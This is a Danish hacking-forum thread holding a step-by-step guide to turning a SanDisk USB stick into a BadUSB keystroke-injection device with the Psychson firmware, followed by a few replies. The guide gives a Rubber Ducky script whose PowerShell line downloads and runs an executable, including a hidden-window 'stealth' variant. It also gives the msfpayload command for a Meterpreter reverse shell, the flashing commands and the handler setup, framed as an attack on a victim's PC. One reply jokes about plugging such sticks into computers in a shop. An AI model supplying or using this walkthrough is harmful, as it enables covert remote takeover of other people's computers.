Tråd bedømmelse:
  • 1 Stemmer - 5 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
BadUSB Gennemgang
22-10-2014, 22:10 (Denne besked var sidst ændret: 23-10-2014, 12:43 af BaltoZ|-|aar.)
#1
BadUSB Gennemgang
Synes lige vi skulle tage et kig på BadUSB, så længe det stadig er rimelig nyt for de fleste, og ikke en angrebsmåde man kender til i den brede offentlighed Uden for IT-verdenen. De fleste ville selvfølgelig være lidt suspekte over en fremmed, ja selv en velkendt person, som stikker et USB stik i ens Computer. Det gode er her, at angrebet kan klares ’håndfrit’, og alt der kræves er et minut – man behøver ikke engang kigge på skærmen.
Vi vil kun kigge på ét af de 3 firmware modificeringer som Psychson er stand til at køre på nuværende tidspunkt.

Lad os starte ud med en kort video (1 minut) af mit resultat af denne test:

- Vær opmærksom på, at min Meterpreter Payload ikke fylder meget, samt er hostet lokalt, så større eksterne filer kan tage længere tid om at blive downloadet ned på offerets PC.
- Du kan også vælge at gemme Powershell vinduet, men for bedre at demonstrere angrebet har jeg valgt ikke at gøre dette.
- Valgte at køre sidste Shell kommando for at vise, at vores Payload kører og er funktionel selv efter enheden er frokoblet (Giver sig selv)


<Hov Da>
- Har skrevet dette uden retstavning på en Linux maskine, så der er nok rigeligt med fejl at rette. Ting som store I'er og tastefejl.
- Det ser forfærdeligt rodet ud, så må lige få bikset en video sammen.
- Ville også gerne have haft billeder med af diverse kommandoers Output, men der er begrænsning på antal billeder pr. post, så det bliver lige kopieret output i stdet - på et tidspunkt.
- Undskylder på forhånd musikken i baggrunden. Ville have haft klippet alt lyden fra.
- Skriver også lidt langsomt efter der er forbindelse, men sad med en bærbar mere i skødet jeg ikke ville tabe, og mobilen i højre. Så der er lige et par sekunder der kunne have været undværet.
- Kvaliteten er heller ikke for god på en ældre HTC model så sent om aftenen, men har et bedre kamera til rådighed.
- Hov. Der var vidst også begrænsning af indlejrede vidoer.
</Hov Da>



Hvad er BadUSB - En beskrivelse af BadUSB
Krav - Krav til at få denne type angreb til at virke
Trin #1 - Installation af SDCC
Trin #2 - Server til hosting af Meterpreter Payload
Trin #3 - Kompilering af værtøjer
Trin #4 - Test af chip og firmware version
Trin #5 - Anskaffelse af Burner Image
Trin #6 - Backup af enhedens gamle firmware
Trin #7 - Compilering af den specialbyggede firmware
Trin #8 - Encoding af Rubber Ducky Payload
Trin #9 - Flashing og installering af ny firmware
Trin #10 - Opsætning af Meterpreter Payload
Hardware introduceret Boot Mode - Der kan opstå problemer med at flashe nyt firmware efter første fimware er installeret. Det kan ordnes ved at kortslutte stifterne på NAND-chippen
Advarsel - Enheden vil ikke fungere som traditionelt USB-stik mere


Hvad er BadUSB?
BadUSB er en fælles betegnelse for USB enheder, der er modificerede til at afvige fra deres normale egenskaber, og herved opføre sig som andre typer enheder, for eksempel netværkskort – eller i dette tilfælde et HID (Human Interface Device) Keyboard. Dette opnåes ved brug af skræddersyet firmware.

Her er den originale Talk af Karsten Nohl og Jakob Lell - fra Black Hat 2014
Citer:https://www.youtube.com/watch?v=nuruzFqMgIw

Desværre har disse herre valgt at holde deres modificerede firmware tæt på kroppen, og de har i skrivende stund endnu ikke offentliggjort denne.

Her har vi så en Talk fra DerbyCon 4, hvor Adam Caudill og Brandon Willson gennemgår Deres projekt omhandlende BadUSB:
Citer:https://www.youtube.com/watch?v=xcsxeJz3blI
Denne gang blev deres firmware delt offentligt på deres Github, til stor glæde for os andre ;)
Citer:https://github.com/adamcaudill/Psychson/









Krav
Windows Maskine – Til at køre deres firmware værktøjer.

Visual Studio/C++ - Til at kompilere disse med (Har kompileret og uploadet disse filer til:
Citer:http://s000.tinyupload.com/index.php?fil...2118188682

Small Device C Compiler -
Citer:http://sdcc.sourceforge.net/

Psychson Firmware + Værktøjer:
Citer:https://github.com/adamcaudill/Psychson/
- Git-clone eller download de samlede filer som et .zip arkiv

Et Burner Image:
Citer:http://www.usbdev.ru/files/phison/
- Dette er et krav for at gemme samt installere firmware.

Et USB stik med Phison 2251-03 (2303) Chipset – Dette er indtil videre den eneste understøttede chip.
Her har jeg valgt at benytte en SanDisk Ultra 16Gb USB 3.0 fra følgende shop:
Citer:http://www.bj-trading.dk/bjshop/default....&psn=68,64

(Understøttede enheder kan ses her:
Citer:https://github.com/adamcaudill/Psychson/...ed-Devices
-Vær dog opmærksom på, at der af en eller anden grund kan være forskellige chipsets i disse enheder, så bestil et par stykker)

En Rubber Ducky Payload – Dette er selve tastetrykkene, som firmwaren udfører når enheden er registreret
(Diverse Payloads kan findes i deres Wiki:
Citer:https://github.com/hak5darren/USB-Rubber...i/Payloads
-
Eller ved et kig på Hak5s forum:
Citer:https://forums.hak5.org/index.php?/forum...ber-ducky/

En RAT Payload – Dette kan være en hvilket som helst RAT eller eksekverbar fil til tests. I mit tilfælde vil jeg som altid bruge Meterpreter

En webserver – Da vi bruger Wget i dette eksempel, skal vi også bruge en server til at hoste vores Meterpreter Payload.











Trin #1
Installér Small Device C Compiler (SDCC) til følgende mappe: C:\Program Files\SDCC
I mit tilfælde installerer jeg til drev C, men dette kan selvfølgelig forekomme anderledes hos andre installationer. Det er her en god ide at installere SDCC til samme drev/partition som indeholder jeres Windows installation.








Trin #2
Da jeg har valgt at køre en Payload der benytter Wget, skal jeg også have en server kørende, for at hoste vores Meterpreter Payload. Dette kan være en webhost, VPS, fildelingstjenester osv. Selv vil jeg til dette eksempel bruge en simpel lokal XAMPP opsætning, men Apache kan ligeledes bruges. XAMPP er installér-og-kør, så der er ingen grund til at gå i dybden med det.

Hvis du vælger at benytte dig af mine for-kompilerede filer, så kan du springe Trin #1 over.










Trin #3
Kompiler DriveCom, EmbedPayload og Injector ved at åbne deres tilhørende .sln filer en ad gangen i Visual Studio/C++ 2012 eller 2013. Tryk herefter på den øverste menulinie hvor der står ’build’ og tryk ’Build solution’. Dette kompilerer værktøjerne til Tools undermappen under Psychson hovedmappen.

[Billede: build.png]









Trin #4
Nu kan vi bruge værktøjet DriveCom til at sikre os, at vi også har det rigtige hardware i vores USB stik.
Åbn kommandovinduet/CMD i Tools undermappen under Psychson hovedmappen.
Herfra kan vi bruge følgende kommando, til at få informationerne fra vores USB enhed:
Citer:DriveCom.exe /drive=G /action=GetInfo
drive skal pege på bogstavet der repræsenterer vores USB enhed, I mit tilfælde er enheden monteret på G.
Vil benytte mig af G for resten af denne tekst, så vær opmærksom på dette hvis jeres drev har et anderledes mærkat.

Citer:C:\Users\Balder\Desktop\Psychson-master\tools>DriveCom.exe /drive=G /action=GetInfo
Action specified: GetInfo
Gathering information...
Reported chip type: 2303
Reported chip ID: D0-51-24-1B-00-00
Reported firmware version: 254.07.00
Mode: Unknown







Trin #5
Nu skal vi have fat I et Burner Image, så vi kan gemme den gamle firmware allerede installeret på vores enhed, samt installere/flashe vores nye firmware efter vi har modificeret den.
Gå ind på http://www.usbdev.ru/files/phison/ og søg (Ctrl + F i Chrome) efter ’Additional Files’.
Tredje resultat vil her give os en liste over arkiver med firmware filer, og da vi benytter os af PS2251-03 – også kaldet 2303, downloader vi følgende fil:
Citer:Firmware PS2251-03 [BN03*.BIN, FW03*.BIN] {BN – 7 files; FW – 12 files} ; firmware_ps2251-03.rar; size: 787 304 bytes
I firmware_ps2251-03.rar arkivet finder vi filen ’BN03V104M.BIN’. Dette er vores Burner Image.
BN – Dette går jeg ud fra er et prefix for Burner Image.
03 – Dette er vores controller version.
V104 – Dette er versionenvores Burner Image.
M – Indikerer at vores Burner Image er tiltænkt 8K NAND chips. (ifølge deres Wiki benyttes dette af alle deres testede USB 3.0 enheder)

Lad os placere filen I vores ’Tools’ mappe, så vi ikke behøver at skrive fuld sti når vi skal arbejde med den.









Trin #6
Nu ville det være smart at gemme vores gamle firmware, både så vi har en backup til hvis det skulle gå galt, men også så vi har firmware der kan patches, hvis den generede firmware nu ikke virker.
I vores kommandovindue fra før, skriver vi følgende kommando:
Citer:DriveCom.exe /drive=G /action=SetBootMode

Citer:C:\Users\Balder\Desktop\Psychson-master\tools>DriveCom.exe /drive=G /action=SetBootMode
Action specified: SetBootMode

Nu er vores enhed sat i Boot Mode, og vi kan nu fortsætte med at sende vores Burner Image til enheden, ved hjælp af følgende kommando:

Citer:DriveCom.exe /drive=G /action=SendExecutable /burner=BN03V104M.BIN

Hvor burner er det Burner Image vi hentede før.
Citer:C:\Users\Balder\Desktop\Psychson-master\tools>DriveCom.exe /drive=G /action=SendExecutable /burner=BN03V104M.BIN
Action specified: SendExecutable

Nu er vores Burner Image så klar til at dumpe/gemme den gamle firmware fra enheden. Dette klares med følgende kommando:
Citer:DriveCom.exe /drive=G /action=DumpFirmware /firmware=GammelFirmware.BIN

Hvor firmware er navnet vi ønsker at gemme vores firmware som. I dette tilfælde kalder vi det bare ’GammelFirmware.BIN’.

Denne fil er nu gemt i vores ’Tools’ mappe.










Trin #7
Har her valgt at bruge den firmware de har skrevet til formålet, i stedet for at patche filen vi gemte i sidste trin.
I kommandovinduet hopper vi tilbage til Psychson mappen, og herefter ind i firmware mappen.
Dette kan gøres ved følgende kommando:
Citer:cd ../firmware
Nu kører vi så bare build.bat i samme kommandovindue, og ganske få sekunder efter, vil en række filer være tilgængelige i en ny ’bin’ mappe inde under ’firmware’ mappen.
Inde i ’bin’ mappen kopierer vi en af de nye filer – fw.bin ind i vores ’Tools’ mappe, så vi igen slipper for at angive sti, og holder det hele samlet.








Trin #8
Nu skal vi så have fat i en Rubber Ducky Payload. Disse kan findes i de to links jeg skrev oppe i ’krav’ afsnittet. Jeg vil i denne tekst benytte mig af følgende Payload, som åbner Powershell, WGET’er min RAT Payload, og eksekverer/kører denne. (Powershell virker fra Vista og op efter):
https://github.com/hak5darren/USB-Rubber...---execute
Citer:GUI r
DELAY 100
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://example.com/bob.old','%TEMP%\bob.exe'); Start-Process "%TEMP%\bob.exe"
ENTER

Der dog også findes i en lidt anderledes udgave, som gemmer Powershell vinduet, så det bliver lidt mere ’stealth:
Citer:GUI r
DELAY 100
STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://example.com/bob.old','%TEMP%\bob.exe'); Start-Process "%TEMP%\bob.exe"
ENTER

Da jeg benytter mig af en lokal server på netværket, ændrer jeg ovenstående URL i vores Ducky Script til dennes lokale IP -
Citer:http://192.168.0.106/bob.old

Dette script skal så encodes til binær form, så det kan sammenkædes med vores enheds firmware. Dette kan gøres onlinehttp://www.ducktoolkit.com/Encoder.jsp - Her skal vores script bare kopieres ind og Keyboard Layout skiftes til Denmark. Så trykker vi på ’Generate Script’, og herefter ’Download .bin’. Dette downloader en fil ved navn ’inject.bin’, som indeholder vores encoded script.

Kopier eller flyt denne fil over i din tools mappe, så vi kan fortsætte med at sammenkæde den med vores firmware (fw.bin) fil.
I vores tidligere – eller i et nyt kommandovindue skal vi nu tilbage til vores 'tools' mappe. Dette kan lige som før gøres ved følgende kommando:
Citer:cd ../tools
- Eller ved at åbne et nyt kommandovindue ved at holde shift inde, højreklikke på mappen og vælge 'åbn kommandovindue her'.
Her vil vi bruge injector.exe til at injicere vores Ducky Payload (inject.bin) ind i vores firmware (fw.bin) fil.
Sørg for at begge filer er gemt i tools mappen, og kør følgende kommando:
Citer:injector.exe inject.bin fw.bin
For at sikre os, at vores firmware nu også er bevet injiceret, kan vi tjekke filens timestamp. Hvis denne stemmer over ens med systemets klokkeslæt, så ved vi at der er blevet arbejdet på filen.









Trin #9
Nu skulle alt være klart til at vi kan flashe den nye firmware til vores enhed.
Så længe vi ikke har haft frakoblet vores enhed fra USB porten, skulle vi nu kunne køre følgende kommando for at sende den nye firmware til enhden og installere den ved hjælp af vores tidligere Burner Image:

Citer:DriveCom.exe /drive=G /action=SendFirmware /burner=BN03V104M.BIN /firmware=fw.bin

burner er samme Burner Image som vi benyttede tidligere.
firmware er vores genererede og modificerede firmware.

(Hvis du har haft enheden [b]frakoblet eller noget andet er gået galt, så brug den tidligere kommando til at ændre enheden til Boot Mode igen)[/b]

Nu skulle vores nye firmware være installeret på enhden, og være klar til brug.

Næste trin går ud på at generere en Meterpreter Payload, så hvis du har en anden fil kan du springe dette over.








Trin #10

Bob.old er den fil vi ønsker at eksekvere på vores offers maskine.
Det kan være alle former for eksekverbare filer, såsom en DarkComet server eller bare Notepad hvis der skal testes.
Vil som så mange andre gange benytte mig af en Meterpreter Payload, for at gøre præsentationen lidt realistisk. Denne payload genererer jeg ved hjælp af Metasploit, som i dette tilfælde kører på Kali, men også findes til Windows. Med Kali kørende åbner jeg en ny konsol/terminal og indtaster følgende kommando og parametre:

Citer:msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=9191 X > /root/Desktop/bob.old
Hvor msfpayload er modulet der genererer vores payload ud fra de givne parametre
LHOST er vores Lokale værtscomputer, og skal pege på maskinen der skal modtage forbindelsen fra offerets computer.
LPORT er porten værtscomputeren og offerets computer skal bruge til at oprette forbindelse og kommunikere.
windows/meterpreter/reverse_shell er payload typen. For at se de forskellige payloads kan vi skrive 'show payloads'. Meterpreter er ekstremt effektiv, og kan også genereres i en HTTPS version der krypterer kommunikationen ved hjælp af SSL.
X > bob.old specificerer placeringen samt filnavn på hvor vi vil gemme den genererede binære data til. Gemmer den bare på skrivbordet, og flytter den over til min maskine der kører XAMPP. Man kan også bare gemme filen til /var/www - og herefter køre etc/init.d/apache2 start' for at hoste filen på vores Kali maskine og efterfølgende starte Apache. Hvis man vælger at gøre dette, skal URL selvfølgelig pege på denne IP.

Her er et eksempel på hvordan det kan se ud. Dette passer dog ikke til ovenstående, da det er taget fra en af mine andre tåde:
[Billede: Screenshotfrom2014-08-1916_53_44.png]

Da jeg bruger Meterpreter skal jeg også opsætte en handler til at modtage indgående forbindelser. Her bruger jeg Metasploits handler, hvor LHOST peger på IP adressen som skal modtage offerets forbindelse, og LPORT, som er porten der skal sørge for de forbinder og kan kommunikere.

[size=x-largel]Nu har vi opsat vores Firmware, Ducky Payload, Meterpreter Payload (hosted på en lokal server) og vores handler. Hvis vi stikker enheden i USB-porten får vi et resultat i stil med første postede Youtube video








Hardware introduceret Boot Mode

Hvis vi nu ønsker at installere firmware IGEN, kan vi godt løbe ind i det problem, at vi ikke kan skifte enheden til BootMode ved hjælp af den tilhørende DriveCom software.
Hvis dette er tilfældet, kan vi være nødsaget til at starte enheden op i Boot Mode, ved at kortslutte specifikke stifter på chippen.
Dette billede bruger de selv i deres doc mappe på Github til at vise hvor disse stifter er tilstede på deres Patriot 8GB Supersonic Xpress enhed:

[Billede: PinsToShortUponPlugInForBootMode.jpg]

I mit tilfælde bruger jeg en SanDisk Ultra 16Gb USB 3.0, og der sidder stifterne således:

[Billede: IMAG0905.jpg]

[Billede: IMAG0906.jpg]

Alt man skal gøre er at bruge en metalgenstand såsom en nål eller kniv til at røre stifterne før og imens man tilslutter enheden. Dette kan godt være halv-svært at gøre uden et USB kabel, men det er stadig muligt.
Hold genstanden mod stifterne før enheden bliver sat i USB porten, og ca. et minuts tid efter den er registreret og LED lyset er blivende. Hvis LED lyset blinker, har du ikke kortsluttet stifterne korrekt.
Hvis lyset derimod bliver ved med at lyse, så skulle enheden igennem dens hardware være i Boot Mode igen, og trinnene kan gennemgåes igen. Da vi kan generere firmware og Ducky Payloads uden brug af enheden, er det sådan set kun ved firmware flashing/installation dette trin skal gennemgåes.

Desuden er det ikke alle enheder der er lige lette at åbne, og ved mine Sandisk Ultra blev jeg nødt til at skrælle dem godt og grundigt fra deres plastikhylstre:


[Billede: IMAG0907.jpg]

Vær opmærksom på, at deres firmware ikke reagerer på Flash chippen, så med denne firmware virker enheden ikke som USB-stik / Oplagringsenhed mere.


Tak til Malcolm for lån af en af hans Youtube brugere. ;)
Find alle beskeder fra denne bruger
Citer denne besked i et svar
22-10-2014, 22:19 (Denne besked var sidst ændret: 22-10-2014, 22:20 af rained.)
#2
RE: BadUSB Gennemgang
Virkelig nice at have skrevet en hel guide til, hvordan man får det oppe at køre på en brugervenligt måde. + Rep herfra makker.
Find alle beskeder fra denne bruger
Citer denne besked i et svar
23-10-2014, 12:23
#3
RE: BadUSB Gennemgang
Super guide, mate.
Du kunne dog godt have valgt noget mere "hackeragtig" musik :D
Find alle beskeder fra denne bruger
Citer denne besked i et svar
23-10-2014, 12:45
#4
RE: BadUSB Gennemgang
(22-10-2014, 22:19)rained Skrev: Virkelig nice at have skrevet en hel guide til, hvordan man får det oppe at køre på en brugervenligt måde. + Rep herfra makker.

Jo tak. Synes ellers atid jeg skriver for meget, og får det til at se alt for kompliceret ud.

(23-10-2014, 12:23)MalcolmXI Skrev: Super guide, mate.
Du kunne dog godt have valgt noget mere "hackeragtig" musik :D

Hvis jeg havde haft planlagt at bruge musik i videoen, havde denne sang nok også været blandt de sidste. :|
Find alle beskeder fra denne bruger
Citer denne besked i et svar
26-03-2015, 16:49
#5
RE: BadUSB Gennemgang
BaltoZ, så er det jo bare et smut ned i den lokale elgigangen, og proppe nogle nøgler i deres maskiner xD!
Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)